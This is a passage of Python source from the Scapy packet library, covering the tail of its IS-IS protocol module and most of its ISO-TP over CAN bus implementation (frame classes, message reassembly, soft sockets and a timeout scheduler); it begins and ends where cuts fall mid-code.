= self[1].checksum_info(self.hdrlen) if checksumInfo is not None: (cbegin, cpos) = checksumInfo checkbytes = fletcher16_checkbytes(pdu[cbegin:], (cpos - cbegin)) pdu = pdu[:cpos] + checkbytes + pdu[cpos + 2:] return pdu class _ISIS_PduBase(Packet): def checksum_info(self, hdrlen): checksumPosition = hdrlen for tlv in self.tlvs: if isinstance(tlv, ISIS_ChecksumTlv): checksumPosition += 2 return (0, checksumPosition) else: checksumPosition += len(tlv) return None def guess_payload_class(self, p): return conf.padding_layer class _ISIS_PduLengthField(FieldLenField): def __init__(self): FieldLenField.__init__(self, "pdulength", None, length_of="tlvs", adjust=lambda pkt, x: x + pkt.underlayer.hdrlen) # noqa: E501 class _ISIS_TlvListField(PacketListField): def __init__(self): PacketListField.__init__(self, "tlvs", [], _ISIS_GuessTlvClass, length_from=lambda pkt: pkt.pdulength - pkt.underlayer.hdrlen) # noqa: E501 class _ISIS_LAN_HelloBase(_ISIS_PduBase): fields_desc = [ ISIS_CircuitTypeField(), ISIS_SystemIdField("sourceid", "0102.0304.0506"), ShortField("holdingtime", 30), _ISIS_PduLengthField(), ByteField("priority", 1), ISIS_NodeIdField("lanid", "0000.0000.0000.00"), _ISIS_TlvListField() ] class ISIS_L1_LAN_Hello(_ISIS_LAN_HelloBase): name = "ISIS L1 LAN Hello PDU" class ISIS_L2_LAN_Hello(_ISIS_LAN_HelloBase): name = "ISIS L2 LAN Hello PDU" class ISIS_P2P_Hello(_ISIS_PduBase): name = "ISIS Point-to-Point Hello PDU" fields_desc = [ ISIS_CircuitTypeField(), ISIS_SystemIdField("sourceid", "0102.0304.0506"), ShortField("holdingtime", 30), _ISIS_PduLengthField(), ByteField("localcircuitid", 0), _ISIS_TlvListField() ] class _ISIS_LSP_Base(_ISIS_PduBase): fields_desc = [ _ISIS_PduLengthField(), ShortField("lifetime", 1199), ISIS_LspIdField("lspid", "0102.0304.0506.00-00"), XIntField("seqnum", 0x00000001), XShortField("checksum", None), FlagsField("typeblock", 0x03, 8, ["L1", "L2", "OL", "ADef", "ADel", "AExp", "AErr", "P"]), # noqa: E501 _ISIS_TlvListField() ] def checksum_info(self, hdrlen): if self.checksum is not None: return None return (12, 24) def _lsp_answers(lsp, other, clsname): # TODO return 0 class ISIS_L1_LSP(_ISIS_LSP_Base): name = "ISIS L1 Link State PDU" def answers(self, other): return _lsp_answers(self, other, "ISIS_L1_PSNP") class ISIS_L2_LSP(_ISIS_LSP_Base): name = "ISIS L2 Link State PDU" def answers(self, other): return _lsp_answers(self, other, "ISIS_L2_PSNP") class _ISIS_CSNP_Base(_ISIS_PduBase): fields_desc = [ _ISIS_PduLengthField(), ISIS_NodeIdField("sourceid", "0102.0304.0506.00"), ISIS_LspIdField("startlspid", "0000.0000.0000.00-00"), ISIS_LspIdField("endlspid", "FFFF.FFFF.FFFF.FF-FF"), _ISIS_TlvListField() ] def _snp_answers(snp, other, clsname): # TODO return 0 class ISIS_L1_CSNP(_ISIS_CSNP_Base): name = "ISIS L1 Complete Sequence Number Packet" def answers(self, other): return _snp_answers(self, other, "ISIS_L1_LSP") class ISIS_L2_CSNP(_ISIS_CSNP_Base): name = "ISIS L2 Complete Sequence Number Packet" def answers(self, other): return _snp_answers(self, other, "ISIS_L2_LSP") class _ISIS_PSNP_Base(_ISIS_PduBase): fields_desc = [ _ISIS_PduLengthField(), ISIS_NodeIdField("sourceid", "0102.0304.0506.00"), _ISIS_TlvListField() ] class ISIS_L1_PSNP(_ISIS_PSNP_Base): name = "ISIS L1 Partial Sequence Number Packet" def answers(self, other): return _snp_answers(self, other, "ISIS_L1_LSP") class ISIS_L2_PSNP(_ISIS_PSNP_Base): name = "ISIS L2 Partial Sequence Number Packet" def answers(self, other): return _snp_answers(self, other, "ISIS_L2_LSP") register_cln_protocol(0x83, ISIS_CommonHdr) bind_layers(ISIS_CommonHdr, ISIS_L1_LAN_Hello, hdrlen=27, pdutype=15) bind_layers(ISIS_CommonHdr, ISIS_L2_LAN_Hello, hdrlen=27, pdutype=16) bind_layers(ISIS_CommonHdr, ISIS_P2P_Hello, hdrlen=20, pdutype=17) bind_layers(ISIS_CommonHdr, ISIS_L1_LSP, hdrlen=27, pdutype=18) bind_layers(ISIS_CommonHdr, ISIS_L2_LSP, hdrlen=27, pdutype=20) bind_layers(ISIS_CommonHdr, ISIS_L1_CSNP, hdrlen=33, pdutype=24) bind_layers(ISIS_CommonHdr, ISIS_L2_CSNP, hdrlen=33, pdutype=25) bind_layers(ISIS_CommonHdr, ISIS_L1_PSNP, hdrlen=17, pdutype=26) bind_layers(ISIS_CommonHdr, ISIS_L2_PSNP, hdrlen=17, pdutype=27) scapy-2.4.4/scapy/contrib/isotp.py000066400000000000000000002461131372370053500171430ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Nils Weiss # Copyright (C) Enrico Pozzobon # Copyright (C) Alexander Schroeder # This program is published under a GPLv2 license # scapy.contrib.description = ISO-TP (ISO 15765-2) # scapy.contrib.status = loads """ ISOTPSocket. """ import ctypes from ctypes.util import find_library import struct import socket import time import traceback import heapq from threading import Thread, Event, Lock from scapy.packet import Packet from scapy.fields import BitField, FlagsField, StrLenField, \ ThreeBytesField, XBitField, ConditionalField, \ BitEnumField, ByteField, XByteField, BitFieldLenField, StrField from scapy.compat import chb, orb from scapy.layers.can import CAN import scapy.modules.six as six import scapy.automaton as automaton import six.moves.queue as queue from scapy.error import Scapy_Exception, warning, log_loading, log_runtime from scapy.supersocket import SuperSocket, SO_TIMESTAMPNS from scapy.config import conf from scapy.consts import LINUX from scapy.contrib.cansocket import PYTHON_CAN from scapy.sendrecv import sniff from scapy.sessions import DefaultSession __all__ = ["ISOTP", "ISOTPHeader", "ISOTPHeaderEA", "ISOTP_SF", "ISOTP_FF", "ISOTP_CF", "ISOTP_FC", "ISOTPSoftSocket", "ISOTPSession", "ISOTPSocket", "ISOTPSocketImplementation", "ISOTPMessageBuilder", "ISOTPScan"] USE_CAN_ISOTP_KERNEL_MODULE = False if six.PY3 and LINUX: LIBC = ctypes.cdll.LoadLibrary(find_library("c")) try: if conf.contribs['ISOTP']['use-can-isotp-kernel-module']: USE_CAN_ISOTP_KERNEL_MODULE = True except KeyError: log_loading.info("Specify 'conf.contribs['ISOTP'] = " "{'use-can-isotp-kernel-module': True}' to enable " "usage of can-isotp kernel module.") CAN_MAX_IDENTIFIER = (1 << 29) - 1 # Maximum 29-bit identifier CAN_MTU = 16 CAN_MAX_DLEN = 8 ISOTP_MAX_DLEN_2015 = (1 << 32) - 1 # Maximum for 32-bit FF_DL ISOTP_MAX_DLEN = (1 << 12) - 1 # Maximum for 12-bit FF_DL N_PCI_SF = 0x00 # /* single frame */ N_PCI_FF = 0x10 # /* first frame */ N_PCI_CF = 0x20 # /* consecutive frame */ N_PCI_FC = 0x30 # /* flow control */ class ISOTP(Packet): name = 'ISOTP' fields_desc = [ StrField('data', B"") ] __slots__ = Packet.__slots__ + ["src", "dst", "exsrc", "exdst"] def answers(self, other): if other.__class__ == self.__class__: return self.payload.answers(other.payload) return 0 def __init__(self, *args, **kwargs): self.src = None self.dst = None self.exsrc = None self.exdst = None if "src" in kwargs: self.src = kwargs["src"] del kwargs["src"] if "dst" in kwargs: self.dst = kwargs["dst"] del kwargs["dst"] if "exsrc" in kwargs: self.exsrc = kwargs["exsrc"] del kwargs["exsrc"] if "exdst" in kwargs: self.exdst = kwargs["exdst"] del kwargs["exdst"] Packet.__init__(self, *args, **kwargs) self.validate_fields() def validate_fields(self): if self.src is not None: if not 0 <= self.src <= CAN_MAX_IDENTIFIER: raise Scapy_Exception("src is not a valid CAN identifier") if self.dst is not None: if not 0 <= self.dst <= CAN_MAX_IDENTIFIER: raise Scapy_Exception("dst is not a valid CAN identifier") if self.exsrc is not None: if not 0 <= self.exsrc <= 0xff: raise Scapy_Exception("exsrc is not a byte") if self.exdst is not None: if not 0 <= self.exdst <= 0xff: raise Scapy_Exception("exdst is not a byte") def fragment(self): data_bytes_in_frame = 7 if self.exdst is not None: data_bytes_in_frame = 6 if len(self.data) > ISOTP_MAX_DLEN_2015: raise Scapy_Exception("Too much data in ISOTP message") if len(self.data) <= data_bytes_in_frame: # We can do this in a single frame frame_data = struct.pack('B', len(self.data)) + self.data if self.exdst: frame_data = struct.pack('B', self.exdst) + frame_data if self.dst is None or self.dst <= 0x7ff: pkt = CAN(identifier=self.dst, data=frame_data) else: pkt = CAN(identifier=self.dst, flags="extended", data=frame_data) return [pkt] # Construct the first frame if len(self.data) <= ISOTP_MAX_DLEN: frame_header = struct.pack(">H", len(self.data) + 0x1000) else: frame_header = struct.pack(">HI", 0x1000, len(self.data)) if self.exdst: frame_header = struct.pack('B', self.exdst) + frame_header idx = 8 - len(frame_header) frame_data = self.data[0:idx] if self.dst is None or self.dst <= 0x7ff: frame = CAN(identifier=self.dst, data=frame_header + frame_data) else: frame = CAN(identifier=self.dst, flags="extended", data=frame_header + frame_data) # Construct consecutive frames n = 1 pkts = [frame] while idx < len(self.data): frame_data = self.data[idx:idx + data_bytes_in_frame] frame_header = struct.pack("b", (n % 16) + N_PCI_CF) n += 1 idx += len(frame_data) if self.exdst: frame_header = struct.pack('B', self.exdst) + frame_header if self.dst is None or self.dst <= 0x7ff: pkt = CAN(identifier=self.dst, data=frame_header + frame_data) else: pkt = CAN(identifier=self.dst, flags="extended", data=frame_header + frame_data) pkts.append(pkt) return pkts @staticmethod def defragment(can_frames, use_extended_addressing=None): if len(can_frames) == 0: raise Scapy_Exception("ISOTP.defragment called with 0 frames") dst = can_frames[0].identifier for frame in can_frames: if frame.identifier != dst: warning("Not all CAN frames have the same identifier") parser = ISOTPMessageBuilder(use_extended_addressing) for c in can_frames: parser.feed(c) results = [] while parser.count > 0: p = parser.pop() if (use_extended_addressing is True and p.exdst is not None) \ or (use_extended_addressing is False and p.exdst is None) \ or (use_extended_addressing is None): results.append(p) if len(results) == 0: return None if len(results) > 0: warning("More than one ISOTP frame could be defragmented from the " "provided CAN frames, returning the first one.") return results[0] def __eq__(self, other): # Don't compare src, dst, exsrc and exdst. return super(ISOTP, self).__eq__(other) class ISOTPHeader(CAN): name = 'ISOTPHeader' fields_desc = [ FlagsField('flags', 0, 3, ['error', 'remote_transmission_request', 'extended']), XBitField('identifier', 0, 29), ByteField('length', None), ThreeBytesField('reserved', 0), ] def extract_padding(self, p): return p, None def post_build(self, pkt, pay): """ This will set the ByteField 'length' to the correct value. """ if self.length is None: pkt = pkt[:4] + chb(len(pay)) + pkt[5:] return pkt + pay def guess_payload_class(self, payload): """ ISOTP encodes the frame type in the first nibble of a frame. """ t = (orb(payload[0]) & 0xf0) >> 4 if t == 0: return ISOTP_SF elif t == 1: return ISOTP_FF elif t == 2: return ISOTP_CF else: return ISOTP_FC class ISOTPHeaderEA(ISOTPHeader): name = 'ISOTPHeaderExtendedAddress' fields_desc = ISOTPHeader.fields_desc + [ XByteField('extended_address', 0), ] def post_build(self, p, pay): """ This will set the ByteField 'length' to the correct value. 'chb(len(pay) + 1)' is required, because the field 'extended_address' is counted as payload on the CAN layer """ if self.length is None: p = p[:4] + chb(len(pay) + 1) + p[5:] return p + pay ISOTP_TYPE = {0: 'single', 1: 'first', 2: 'consecutive', 3: 'flow_control'} class ISOTP_SF(Packet): name = 'ISOTPSingleFrame' fields_desc = [ BitEnumField('type', 0, 4, ISOTP_TYPE), BitFieldLenField('message_size', None, 4, length_of='data'), StrLenField('data', '', length_from=lambda pkt: pkt.message_size) ] class ISOTP_FF(Packet): name = 'ISOTPFirstFrame' fields_desc = [ BitEnumField('type', 1, 4, ISOTP_TYPE), BitField('message_size', 0, 12), ConditionalField(BitField('extended_message_size', 0, 32), lambda pkt: pkt.message_size == 0), StrField('data', '', fmt="B") ] class ISOTP_CF(Packet): name = 'ISOTPConsecutiveFrame' fields_desc = [ BitEnumField('type', 2, 4, ISOTP_TYPE), BitField('index', 0, 4), StrField('data', '', fmt="B") ] class ISOTP_FC(Packet): name = 'ISOTPFlowControlFrame' fields_desc = [ BitEnumField('type', 3, 4, ISOTP_TYPE), BitEnumField('fc_flag', 0, 4, {0: 'continue', 1: 'wait', 2: 'abort'}), ByteField('block_size', 0), ByteField('separation_time', 0), ] class ISOTPMessageBuilderIter(object): slots = ["builder"] def __init__(self, builder): self.builder = builder def __iter__(self): return self def __next__(self): while self.builder.count: return self.builder.pop() raise StopIteration next = __next__ class ISOTPMessageBuilder(object): """ Utility class to build ISOTP messages out of CAN frames, used by both ISOTP.defragment() and ISOTPSession. This class attempts to interpret some CAN frames as ISOTP frames, both with and without extended addressing at the same time. For example, if an extended address of 07 is being used, all frames will also be interpreted as ISOTP single-frame messages. CAN frames are fed to an ISOTPMessageBuilder object with the feed() method and the resulting ISOTP frames can be extracted using the pop() method. """ class Bucket(object): def __init__(self, total_len, first_piece, ts=None): self.pieces = list() self.total_len = total_len self.current_len = 0 self.ready = None self.src = None self.exsrc = None self.time = ts self.push(first_piece) def push(self, piece): self.pieces.append(piece) self.current_len += len(piece) if self.current_len >= self.total_len: if six.PY3: isotp_data = b"".join(self.pieces) else: isotp_data = "".join(map(str, self.pieces)) self.ready = isotp_data[:self.total_len] def __init__(self, use_ext_addr=None, did=None, basecls=None): """ Initialize a ISOTPMessageBuilder object :param use_ext_addr: True for only attempting to defragment with extended addressing, False for only attempting to defragment without extended addressing, or None for both :param basecls: the class of packets that will be returned, defaults to ISOTP """ self.ready = [] self.buckets = {} self.use_ext_addr = use_ext_addr self.basecls = basecls or ISOTP self.dst_ids = None self.last_ff = None self.last_ff_ex = None if did is not None: if hasattr(did, "__iter__"): self.dst_ids = did else: self.dst_ids = [did] def feed(self, can): """Attempt to feed an incoming CAN frame into the state machine""" if not isinstance(can, Packet) and hasattr(can, "__iter__"): for p in can: self.feed(p) return identifier = can.identifier if self.dst_ids is not None and identifier not in self.dst_ids: return data = bytes(can.data) if len(data) > 1 and self.use_ext_addr is not True: self._try_feed(identifier, None, data, can.time) if len(data) > 2 and self.use_ext_addr is not False: ea = six.indexbytes(data, 0) self._try_feed(identifier, ea, data[1:], can.time) @property def count(self): """Returns the number of ready ISOTP messages built from the provided can frames""" return len(self.ready) def __len__(self): return self.count def pop(self, identifier=None, ext_addr=None): """ Returns a built ISOTP message :param identifier: if not None, only return isotp messages with this destination :param ext_addr: if identifier is not None, only return isotp messages with this extended address for destination :returns: an ISOTP packet, or None if no message is ready """ if identifier is not None: for i in range(len(self.ready)): b = self.ready[i] iden = b[0] ea = b[1] if iden == identifier and ext_addr == ea: return ISOTPMessageBuilder._build(self.ready.pop(i), self.basecls) return None if len(self.ready) > 0: return ISOTPMessageBuilder._build(self.ready.pop(0), self.basecls) return None def __iter__(self): return ISOTPMessageBuilderIter(self) @staticmethod def _build(t, basecls=ISOTP): bucket = t[2] p = basecls(bucket.ready) if hasattr(p, "dst"): p.dst = t[0] if hasattr(p, "exdst"): p.exdst = t[1] if hasattr(p, "src"): p.src = bucket.src if hasattr(p, "exsrc"): p.exsrc = bucket.exsrc if hasattr(p, "time"): p.time = bucket.time return p def _feed_first_frame(self, identifier, ea, data, ts): if len(data) < 3: # At least 3 bytes are necessary: 2 for length and 1 for data return False header = struct.unpack('>H', bytes(data[:2]))[0] expected_length = header & 0x0fff isotp_data = data[2:] if expected_length == 0 and len(data) >= 6: expected_length = struct.unpack('>I', bytes(data[2:6]))[0] isotp_data = data[6:] key = (ea, identifier, 1) if ea is None: self.last_ff = key else: self.last_ff_ex = key self.buckets[key] = self.Bucket(expected_length, isotp_data, ts) return True def _feed_single_frame(self, identifier, ea, data, ts): if len(data) < 2: # At least 2 bytes are necessary: 1 for length and 1 for data return False length = six.indexbytes(data, 0) & 0x0f isotp_data = data[1:length + 1] if length > len(isotp_data): # CAN frame has less data than expected return False self.ready.append((identifier, ea, self.Bucket(length, isotp_data, ts))) return True def _feed_consecutive_frame(self, identifier, ea, data): if len(data) < 2: # At least 2 bytes are necessary: 1 for sequence number and # 1 for data return False first_byte = six.indexbytes(data, 0) seq_no = first_byte & 0x0f isotp_data = data[1:] key = (ea, identifier, seq_no) bucket = self.buckets.pop(key, None) if bucket is None: # There is no message constructor waiting for this frame return False bucket.push(isotp_data) if bucket.ready is None: # full ISOTP message is not ready yet, put it back in # buckets list next_seq = (seq_no + 1) % 16 key = (ea, identifier, next_seq) self.buckets[key] = bucket else: self.ready.append((identifier, ea, bucket)) return True def _feed_flow_control_frame(self, identifier, ea, data): if len(data) < 3: # At least 2 bytes are necessary: 1 for sequence number and # 1 for data return False keys = [self.last_ff, self.last_ff_ex] if not any(keys): return False buckets = [self.buckets.pop(k, None) for k in keys] self.last_ff = None self.last_ff_ex = None if not any(buckets): # There is no message constructor waiting for this frame return False for key, bucket in zip(keys, buckets): if bucket is None: continue bucket.src = identifier bucket.exsrc = ea self.buckets[key] = bucket return True def _try_feed(self, identifier, ea, data, ts): first_byte = six.indexbytes(data, 0) if len(data) > 1 and first_byte & 0xf0 == N_PCI_SF: self._feed_single_frame(identifier, ea, data, ts) if len(data) > 2 and first_byte & 0xf0 == N_PCI_FF: self._feed_first_frame(identifier, ea, data, ts) if len(data) > 1 and first_byte & 0xf0 == N_PCI_CF: self._feed_consecutive_frame(identifier, ea, data) if len(data) > 1 and first_byte & 0xf0 == N_PCI_FC: self._feed_flow_control_frame(identifier, ea, data) class ISOTPSession(DefaultSession): """Defragment ISOTP packets 'on-the-flow'. Usage: >>> sniff(session=ISOTPSession) """ def __init__(self, *args, **kwargs): DefaultSession.__init__(self, *args, **kwargs) self.m = ISOTPMessageBuilder( use_ext_addr=kwargs.pop("use_ext_addr", None), did=kwargs.pop("did", None), basecls=kwargs.pop("basecls", None)) def on_packet_received(self, pkt): if not pkt: return if isinstance(pkt, list): for p in pkt: ISOTPSession.on_packet_received(self, p) return self.m.feed(pkt) while len(self.m) > 0: rcvd = self.m.pop() if self._supersession: self._supersession.on_packet_received(rcvd) else: DefaultSession.on_packet_received(self, rcvd) class ISOTPSoftSocket(SuperSocket): """ This class is a wrapper around the ISOTPSocketImplementation, for the reasons described below. The ISOTPSoftSocket aims to be fully compatible with the Linux ISOTP sockets provided by the can-isotp kernel module, while being usable on any operating system. Therefore, this socket needs to be able to respond to an incoming FF frame with a FC frame even before the recv() method is called. A thread is needed for receiving CAN frames in the background, and since the lower layer CAN implementation is not guaranteed to have a functioning POSIX select(), each ISOTP socket needs its own CAN receiver thread. SuperSocket automatically calls the close() method when the GC destroys an ISOTPSoftSocket. However, note that if any thread holds a reference to an ISOTPSoftSocket object, it will not be collected by the GC. The implementation of the ISOTP protocol, along with the necessary thread, are stored in the ISOTPSocketImplementation class, and therefore: * There no reference from ISOTPSocketImplementation to ISOTPSoftSocket * ISOTPSoftSocket can be normally garbage collected * Upon destruction, ISOTPSoftSocket.close() will be called * ISOTPSoftSocket.close() will call ISOTPSocketImplementation.close() * RX background thread can be stopped by the garbage collector """ nonblocking_socket = True def __init__(self, can_socket=None, sid=0, did=0, extended_addr=None, extended_rx_addr=None, rx_block_size=0, rx_separation_time_min=0, padding=False, listen_only=False, basecls=ISOTP): """ Initialize an ISOTPSoftSocket using the provided underlying can socket :param can_socket: a CANSocket instance, preferably filtering only can frames with identifier equal to did :param sid: the CAN identifier of the sent CAN frames :param did: the CAN identifier of the received CAN frames :param extended_addr: the extended address of the sent ISOTP frames (can be None) :param extended_rx_addr: the extended address of the received ISOTP frames (can be None) :param rx_block_size: block size sent in Flow Control ISOTP frames :param rx_separation_time_min: minimum desired separation time sent in Flow Control ISOTP frames :param padding: If True, pads sending packets with 0x00 which not count to the payload. Does not affect receiving packets. :param basecls: base class of the packets emitted by this socket """ if six.PY3 and LINUX and isinstance(can_socket, six.string_types): from scapy.contrib.cansocket_native import NativeCANSocket can_socket = NativeCANSocket(can_socket) elif isinstance(can_socket, six.string_types): raise Scapy_Exception("Provide a CANSocket object instead") self.exsrc = extended_addr self.exdst = extended_rx_addr self.src = sid self.dst = did impl = ISOTPSocketImplementation( can_socket, src_id=sid, dst_id=did, padding=padding, extended_addr=extended_addr, extended_rx_addr=extended_rx_addr, rx_block_size=rx_block_size, rx_separation_time_min=rx_separation_time_min, listen_only=listen_only ) self.ins = impl self.outs = impl self.impl = impl if basecls is None: warning('Provide a basecls ') self.basecls = basecls def close(self): if not self.closed: self.impl.close() self.outs = None self.ins = None SuperSocket.close(self) def begin_send(self, p): """Begin the transmission of message p. This method returns after sending the first frame. If multiple frames are necessary to send the message, this socket will unable to send other messages until either the transmission of this frame succeeds or it fails.""" if hasattr(p, "sent_time"): p.sent_time = time.time() return self.outs.begin_send(bytes(p)) def recv_raw(self, x=0xffff): """Receive a complete ISOTP message, blocking until a message is received or the specified timeout is reached. If self.timeout is 0, then this function doesn't block and returns the first frame in the receive buffer or None if there isn't any.""" msg = self.ins.recv() t = time.time() return self.basecls, msg, t def recv(self, x=0xffff): msg = SuperSocket.recv(self, x) if hasattr(msg, "src"): msg.src = self.src if hasattr(msg, "dst"): msg.dst = self.dst if hasattr(msg, "exsrc"): msg.exsrc = self.exsrc if hasattr(msg, "exdst"): msg.exdst = self.exdst return msg @staticmethod def select(sockets, remain=None): """This function is called during sendrecv() routine to wait for sockets to be ready to receive """ blocking = remain is None or remain > 0 def find_ready_sockets(): return list(filter(lambda x: (x.ins is not None) and (x.ins.rx_queue is not None) and (not x.ins.rx_queue.empty()), sockets)) ready_sockets = find_ready_sockets() if len(ready_sockets) > 0 or not blocking: return ready_sockets, None exit_select = Event() def my_cb(msg): exit_select.set() try: for s in sockets: s.ins.rx_callbacks.append(my_cb) exit_select.wait(remain) finally: for s in sockets: try: s.ins.rx_callbacks.remove(my_cb) except ValueError: pass except AttributeError: pass ready_sockets = find_ready_sockets() return ready_sockets, None ISOTPSocket = ISOTPSoftSocket class CANReceiverThread(Thread): """ Helper class that receives CAN frames and feeds them to the provided callback. It relies on CAN frames being enqueued in the CANSocket object and not being lost if they come before the sniff method is called. This is true in general since sniff is usually implemented as repeated recv(), but might be false in some implementation of CANSocket """ def __init__(self, can_socket, callback): """ Initialize the thread. In order for this thread to be able to be stopped by the destructor of another object, it is important to not keep a reference to the object in the callback function. :param socket: the CANSocket upon which this class will call the sniff() method :param callback: function to call whenever a CAN frame is received """ self.socket = can_socket self.callback = callback self.exiting = False self._thread_started = Event() self.exception = None Thread.__init__(self) self.name = "CANReceiver" + self.name def start(self): Thread.start(self) if not self._thread_started.wait(5): raise Scapy_Exception("CAN RX thread not started in 5s.") def run(self): self._thread_started.set() try: def prn(msg): if not self.exiting: self.callback(msg) while 1: try: sniff(store=False, timeout=1, count=1, stop_filter=lambda x: self.exiting, prn=prn, opened_socket=self.socket) except ValueError as ex: if not self.exiting: raise ex if self.exiting: return except Exception as ex: self.exception = ex def stop(self): self.exiting = True class TimeoutScheduler: """A timeout scheduler which uses a single thread for all timeouts, unlike python's own Timer objects which use a thread each.""" VERBOSE = False GRACE = .1 _mutex = Lock() _event = Event() _thread = None _handles = [] # must use heapq functions! @staticmethod def schedule(timeout, callback): """Schedules the execution of a timeout. The function `callback` will be called in `timeout` seconds. Returns a handle that can be used to remove the timeout.""" when = TimeoutScheduler._time() + timeout handle = TimeoutScheduler.Handle(when, callback) handles = TimeoutScheduler._handles with TimeoutScheduler._mutex: # Add the handler to the heap, keeping the invariant # Time complexity is O(log n) heapq.heappush(handles, handle) must_interrupt = (handles[0] == handle) # Start the scheduling thread if it is not started already if TimeoutScheduler._thread is None: t = Thread(target=TimeoutScheduler._task) must_interrupt = False TimeoutScheduler._thread = t TimeoutScheduler._event.clear() t.start() if must_interrupt: # if the new timeout got in front of the one we are currently # waiting on, the current wait operation must be aborted and # updated with the new timeout TimeoutScheduler._event.set() # Return the handle to the timeout so that the user can cancel it return handle @staticmethod def cancel(handle): """Provided its handle, cancels the execution of a timeout.""" handles = TimeoutScheduler._handles with TimeoutScheduler._mutex: if handle in handles: # Time complexity is O(n) handle._cb = None handles.remove(handle) heapq.heapify(handles) if len(handles) == 0: # set the event to stop the wait - this kills the thread TimeoutScheduler._event.set() else: raise Scapy_Exception("Handle not found") @staticmethod def clear(): """Cancels the execution of all timeouts.""" with TimeoutScheduler._mutex: TimeoutScheduler._handles.clear() # set the event to stop the wait - this kills the thread TimeoutScheduler._event.set() @staticmethod def _peek_next(): """Returns the next timeout to execute, or `None` if list is empty, without modifying the list""" with TimeoutScheduler._mutex: handles = TimeoutScheduler._handles if len(handles) == 0: return None else: return handles[0] @staticmethod def _wait(handle): """Waits until it is time to execute the provided handle, or until another thread calls _event.set()""" if handle is None: when = TimeoutScheduler.GRACE else: when = handle._when # Check how much time until the next timeout now = TimeoutScheduler._time() to_wait = when - now # Wait until the next timeout, # or until event.set() gets called in another thread. if to_wait > 0: log_runtime.debug("TimeoutScheduler Thread going to sleep @ %f " + "for %fs", now, to_wait) interrupted = TimeoutScheduler._event.wait(to_wait) new = TimeoutScheduler._time() log_runtime.debug("TimeoutScheduler Thread awake @ %f, slept for" + " %f, interrupted=%d", new, new - now, interrupted) # Clear the event so that we can wait on it again, # Must be done before doing the callbacks to avoid losing a set(). TimeoutScheduler._event.clear() @staticmethod def _task(): """Executed in a background thread, this thread will automatically start when the first timeout is added and stop when the last timeout is removed or executed.""" log_runtime.debug("TimeoutScheduler Thread spawning @ %f", TimeoutScheduler._time()) time_empty = None try: while 1: handle = TimeoutScheduler._peek_next() if handle is None: now = TimeoutScheduler._time() if time_empty is None: time_empty = now # 100 ms of grace time before killing the thread if TimeoutScheduler.GRACE < now - time_empty: return TimeoutScheduler._wait(handle) TimeoutScheduler._poll() finally: # Worst case scenario: if this thread dies, the next scheduled # timeout will start a new one log_runtime.debug("TimeoutScheduler Thread dying @ %f", TimeoutScheduler._time()) TimeoutScheduler._thread = None @staticmethod def _poll(): """Execute all the callbacks that were due until now""" handles = TimeoutScheduler._handles handle = None while 1: with TimeoutScheduler._mutex: now = TimeoutScheduler._time() if len(handles) == 0 or handles[0]._when > now: # There is nothing to execute yet return # Time complexity is O(log n) handle = heapq.heappop(handles) callback = None if handle is not None: callback = handle._cb handle._cb = True # Call the callback here, outside of the mutex if callback is not None: try: callback() except Exception: traceback.print_exc() @staticmethod def _time(): if six.PY2: return time.time() return time.monotonic() class Handle: """Handle for a timeout, consisting of a callback and a time when it should be executed.""" __slots__ = '_when', '_cb' def __init__(self, when, cb): self._when = when self._cb = cb def cancel(self): """Cancels this timeout, preventing it from executing its callback""" if self._cb is None: raise Scapy_Exception("cancel() called on " "previous canceled Handle") else: if isinstance(self._cb, bool): # Handle was already executed. # We don't need to cancel anymore return False else: self._cb = None TimeoutScheduler.cancel(self) return True def __cmp__(self, other): diff = self._when - other._when return 0 if diff == 0 else (1 if diff > 0 else -1) def __lt__(self, other): return self._when < other._when def __le__(self, other): return self._when <= other._when def __gt__(self, other): return self._when > other._when def __ge__(self, other): return self._when >= other._when """ISOTPSoftSocket definitions.""" # Enum states ISOTP_IDLE = 0 ISOTP_WAIT_FIRST_FC = 1 ISOTP_WAIT_FC = 2 ISOTP_WAIT_DATA = 3 ISOTP_SENDING = 4 # /* Flow Status given in FC frame */ ISOTP_FC_CTS = 0 # /* clear to send */ ISOTP_FC_WT = 1 # /* wait */ ISOTP_FC_OVFLW = 2 # /* overflow */ class ISOTPSocketImplementation(automaton.SelectableObject): """ Implementation of an ISOTP "state machine". Most of the ISOTP logic was taken from https://github.com/hartkopp/can-isotp/blob/master/net/can/isotp.c This class is separated from ISOTPSoftSocket to make sure the background thread can't hold a reference to ISOTPSoftSocket, allowing it to be collected by the GC. """ def __init__(self, can_socket, src_id, dst_id, padding=False, extended_addr=None, extended_rx_addr=None, rx_block_size=0, rx_separation_time_min=0, listen_only=False): """ :param can_socket: a CANSocket instance, preferably filtering only can frames with identifier equal to did :param src_id: the CAN identifier of the sent CAN frames :param dst_id: the CAN identifier of the received CAN frames :param padding: If True, pads sending packets with 0x00 which not count to the payload. Does not affect receiving packets. :param extended_addr: Extended Address byte to be added at the beginning of every CAN frame _sent_ by this object. Can be None in order to disable extended addressing on sent frames. :param extended_rx_addr: Extended Address byte expected to be found at the beginning of every CAN frame _received_ by this object. Can be None in order to disable extended addressing on received frames. :param rx_block_size: Block Size byte to be included in every Control Flow Frame sent by this object. The default value of 0 means that all the data will be received in a single block. :param rx_separation_time_min: Time Minimum Separation byte to be included in every Control Flow Frame sent by this object. The default value of 0 indicates that the peer will not wait any time between sending frames. :param listen_only: Disables send of flow control frames """ automaton.SelectableObject.__init__(self) self.can_socket = can_socket self.dst_id = dst_id self.src_id = src_id self.padding = padding self.fc_timeout = 1 self.cf_timeout = 1 self.filter_warning_emitted = False self.extended_rx_addr = extended_rx_addr self.ea_hdr = b"" if extended_addr is not None: self.ea_hdr = struct.pack("B", extended_addr) self.listen_only = listen_only self.rxfc_bs = rx_block_size self.rxfc_stmin = rx_separation_time_min self.rx_queue = queue.Queue() self.rx_len = -1 self.rx_buf = None self.rx_sn = 0 self.rx_bs = 0 self.rx_idx = 0 self.rx_state = ISOTP_IDLE self.txfc_bs = 0 self.txfc_stmin = 0 self.tx_gap = 0 self.tx_buf = None self.tx_sn = 0 self.tx_bs = 0 self.tx_idx = 0 self.rx_ll_dl = 0 self.tx_state = ISOTP_IDLE self.tx_timeout_handle = None self.rx_timeout_handle = None self.rx_thread = CANReceiverThread(can_socket, self.on_can_recv) self.tx_mutex = Lock() self.rx_mutex = Lock() self.send_mutex = Lock() self.tx_done = Event() self.tx_exception = None self.tx_callbacks = [] self.rx_callbacks = [] self.rx_thread.start() def __del__(self): self.close() def can_send(self, load): if self.padding: load += bytearray(CAN_MAX_DLEN - len(load)) if self.src_id is None or self.src_id <= 0x7ff: 